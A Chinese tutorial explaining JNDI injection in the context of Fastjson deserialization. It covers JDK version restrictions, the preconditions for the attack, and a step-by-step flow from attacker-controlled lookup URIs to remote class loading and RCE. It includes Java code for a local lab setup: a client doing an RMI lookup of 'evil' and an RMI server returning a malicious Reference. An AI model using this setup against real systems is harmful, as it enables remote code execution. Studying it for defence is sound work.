Fastjson反序列化漏洞—

Fastjson反序列化漏洞——JNDI注入

news2024/11/13 7:58:04

一.前言

之前使用反序列化和序列化时写入的到文件里面的，真实环境中，也是这样吗？

当然不是了，通过二进制，字节流数据进行的。

为什么会有JNDI？

由于http和ftp传输消耗资源仍然很大，就有了JRMP协议（java开发），像腾讯，阿里，有自己的一套java开发环境，用原生态的JRMP协议不是很方便，于是在这个基础上，他们就开发了一些其他功能，比如rmi协议，ldap协议。

但这样造成的问题就是，兼容性差，为了解决这个问题，为了规范，所以有了这个JNDI协议，JNDI协议下面就有了rmi，ldap协议，所以java里面一般都有这个JNDI依赖包。

JNDI可访问的现有的目录以及服务有：JDBC（数据库的连接），LDAP，RMI，NID，CORBA

JDBC（数据库的连接）：主机a要连接数据库b，就要用的这个依赖包。

LDAP：文件传输，字节传输。

JNDI是对各种访问目录服务的逻辑进行了再封装，其实jndi里面没有什么的，类似目录，帮你访问。

二.JNDI的介绍

JNDI是java命名与目录接口（java Naming and Directory Interface），在 J2EE规范中是重要的规范之一。调用JNDI的API应用程序可以定位资源和其它程序对象。

java Application 调用JNDI API接口从某个类中的lookup函数，方法调用LDAP,RMI协议，实现功能，这些只有java语言里面才有。

有些公司，比如weblogic这个中间件，它是付费的，那他又在这个基础上定义了一个协议，就是T3协议，专门用于weblogic里面传输数据，这里也有漏洞。

这些协议遇到对象，反序列化的数据，就会解析，比如数据里面有恶意方法，就会执行，这就叫做JNDI注入。

三.复现事项

在复现的过程中，注意JDK的版本，JDK在版本中对JNDI的利用有一定的限制。

比如说JDK 6u141、7u131、8u121之后：增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项，因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞，但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。当然还有ldap的协议也要注意，注意JDK 6u211、7u201、8u191之后：增加了com.sun.jndi.ldap.object.trustURLCod

四.jndi注入的利用条件

(1)客户端的lookup()方法参数可控

(2)服务端在使用Reference时，classFactoryLocation参数可控

五.注入的一个流程

可以先理解这个

这是较全面的过程

（1）目标代码中调用了InitialContext.lookup(URI)，且URI为用户可控；

（2）攻击者控制URI参数为恶意的RMI服务地址，如：rmi://hacker_rmi_server//name；

（3）攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory 类；

（4）目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用 factory.getObjectInstance()获取外部远程对象实例；

（5）攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；

六.通过代码理解过程以及注入点

由于懒得搞服务器，我就直接用本机上电脑搭建http和rmi服务端。

客户端

//客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        //context.lookup("rmi://47.106.158.168:1099/hh0czl");
        context.lookup("rmi://127.0.0.1:1099/evil");
        //查询rmi协议的资源，以rmi协议请求127.0.0.1：1099端口获取evil，如果说我evil这个是恶意的，是不是就会被解析了。
    }
}

注意：这里的127.0.0.1：1099可控的，真实环境里面是将这里传入我们的rmi的url的，这里我没去搞服务器，就直接写死了。

RMI服务端

//服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);//服务端创建了一个端口1099，启动1099
        String url = "http://127.0.0.1:7777/";//服务端返回给客户端，让客户端去访问这个url，请求资源
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("payload2", "payload2", url);//rmi服务断与这个http://127.0.0.1:6666绑定
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("evil", referenceWrapper);
    }
}

运行rmi服务端，监听1099端口。